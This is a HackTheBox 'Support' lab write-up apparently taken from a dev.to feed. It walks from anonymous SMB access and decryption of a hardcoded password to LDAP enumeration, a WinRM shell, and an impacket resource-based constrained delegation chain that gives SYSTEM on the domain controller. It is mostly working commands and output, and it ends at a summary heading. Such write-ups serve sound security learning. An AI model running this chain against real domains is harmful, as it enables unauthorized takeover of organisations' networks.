      <guid>https://dev.to/exploitnotes/from-credentials-to-domain-admin-support-machine-writeup-1k2c</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;The HackTheBox "Support" machine is a masterclass in realistic Active Directory exploitation. It demonstrates how a single exposed credential can cascade through misconfigured permissions, ultimately leading to complete domain compromise.&lt;/p&gt;

&lt;p&gt;In this writeup, we'll walk through the complete attack chain: from initial reconnaissance to extracting both the user and root flags. Along the way, we'll uncover vulnerabilities in SMB access controls, weak credential storage, and dangerous Active Directory delegation configurations.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance: Mapping the Target
&lt;/h2&gt;

&lt;p&gt;Let's start by identifying what's running on the machine with Nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Findings:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 53: DNS (Simple DNS Plus)&lt;/li&gt;
&lt;li&gt;Port 88: Kerberos&lt;/li&gt;
&lt;li&gt;Port 135/445: Windows RPC and SMB&lt;/li&gt;
&lt;li&gt;Port 389/3268: LDAP (Active Directory)&lt;/li&gt;
&lt;li&gt;Port 5985: WinRM (Windows Remote Management)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is clearly a Windows Active Directory domain controller. The LDAP output reveals the domain name: &lt;code&gt;support.htb&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @&amp;lt;MACHINE-IP&amp;gt; support.htb any
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;MACHINE-IP&amp;gt; support.htb dc.support.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. SMB Enumeration: Finding the Weak Link
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sharename         Type      Comment
─────────────────────────────────────
ADMIN$            Disk      Remote Admin
C$                Disk      Default share
IPC$              IPC       Remote IPC
NETLOGON          Disk      Logon server share
support-tools     Disk      support staff tools
SYSVOL            Disk      Logon server share
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most shares are protected, but there's a custom share: &lt;code&gt;support-tools&lt;/code&gt; — accessible to everyone.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1 Downloading from the Support-Tools Share
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient //&amp;lt;MACHINE-IP&amp;gt;/support-tools &lt;span class="nt"&gt;-N&lt;/span&gt;
smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Files found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;7-ZipPortable_21.07.paf.exe&lt;/li&gt;
&lt;li&gt;npp.8.4.1.portable.x64.zip&lt;/li&gt;
&lt;li&gt;putty.exe&lt;/li&gt;
&lt;li&gt;SysinternalsSuite.zip&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UserInfo.exe.zip ← Suspicious&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;windirstat1_1_2_setup.exe&lt;/li&gt;
&lt;li&gt;WiresharkPortable64_3.6.5.paf.exe
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; get UserInfo.exe.zip
unzip UserInfo.exe.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Initial Foothold: Extracting Hidden Credentials
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Identifying the Binary Type
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file UserInfo.exe
&lt;span class="c"&gt;# Output: PE32 executable (console) Intel 80386 Mono/.Net assembly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a 32-bit .NET application — easily decompiled back to source code.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Decompiling the Application
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ilspycmd UserInfo.exe &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; output.cs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After analyzing the decompiled code, we discover something critical:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;enc_password&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Encoding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ASCII&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"armando"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nf"&gt;getPassword&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Convert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FromBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enc_password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;array2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;++)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;array2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;^&lt;/span&gt; &lt;span class="m"&gt;0xDFu&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Encoding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Default&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What we found:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hardcoded Base64-encoded password&lt;/li&gt;
&lt;li&gt;XOR encryption key: &lt;code&gt;armando&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Additional XOR constant: &lt;code&gt;0xDF&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.3 Decrypting the Password
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enc_password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xor_constant&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xDF&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enc_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;xor_constant&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;enc_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;xor_constant&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;decrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;decrypt_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enc_password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xor_constant&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Decrypted: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;decrypted&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 decrypt.py 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E &lt;span class="s1"&gt;'armando'&lt;/span&gt;
&lt;span class="c"&gt;# [+] Decrypted: nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;LDAP credentials: &lt;code&gt;ldap : nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  4. LDAP Enumeration: Finding the Admin Password
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://&amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="s2"&gt;"support&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;ldap"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"dc=support,dc=htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"(ObjectClass=User)"&lt;/span&gt; &lt;span class="s2"&gt;"*"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;info&lt;/code&gt; field on the support user contains plaintext credentials: &lt;code&gt;support : Ironside47pleasure40Watchful&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is a critical security failure — passwords should never be stored in AD attributes in plaintext.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  4.1 Mapping Permissions with BloodHound
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodhound-python &lt;span class="nt"&gt;-d&lt;/span&gt; support.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; ldap &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc&lt;/span&gt; dc.support.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-ns&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; All
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;BloodHound reveals: the &lt;code&gt;support&lt;/code&gt; user is a member of &lt;strong&gt;Remote Management Users&lt;/strong&gt; — WinRM access is possible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcd38qwja27slx7ygfyk9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcd38qwja27slx7ygfyk9.png" alt=" " width="800" height="312"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  5. User Flag: Getting Shell Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; support &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Ironside47pleasure40Watchful'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\support\Desktop&amp;gt; type user.txt
11.........c5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Privilege Escalation: The RBCD Attack
&lt;/h2&gt;

&lt;p&gt;BloodHound shows a dangerous attack path:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzull54rcueh6m6o69vl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzull54rcueh6m6o69vl.png" alt=" " width="800" height="276"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;support user → Shared Support Accounts → GenericAll over → Domain Controller
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.1 Understanding RBCD
&lt;/h3&gt;

&lt;p&gt;RBCD allows a compromised computer account to impersonate any user when accessing another resource. By creating a fake computer and configuring it for delegation, we can impersonate the Administrator.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Creating a Fake Computer Account
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-addcomputer support.htb/support:&lt;span class="s1"&gt;'Ironside47pleasure40Watchful'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-computer-name&lt;/span&gt; &lt;span class="s1"&gt;'FAKEPC$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-computer-pass&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!@#'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Configuring Delegation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-rbcd support.htb/support:&lt;span class="s1"&gt;'Ironside47pleasure40Watchful'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-delegate-from&lt;/span&gt; &lt;span class="s1"&gt;'FAKEPC$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-delegate-to&lt;/span&gt; &lt;span class="s1"&gt;'DC$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-action&lt;/span&gt; write &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 Impersonating the Administrator
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-getST support.htb/&lt;span class="s1"&gt;'FAKEPC$'&lt;/span&gt;:&lt;span class="s1"&gt;'Pass123!@#'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-spn&lt;/span&gt; cifs/dc.support.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-impersonate&lt;/span&gt; administrator &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;

&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Root Flag: Domain Admin Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-smbexec support.htb/administrator@dc.support.htb &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\Windows\system32&amp;gt; whoami
nt authority\system

C:\Windows\system32&amp;gt; type C:\Users\Administrator\Desktop\root.txt
33d............daf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Attack Chain Summary
&lt;/h2&gt;

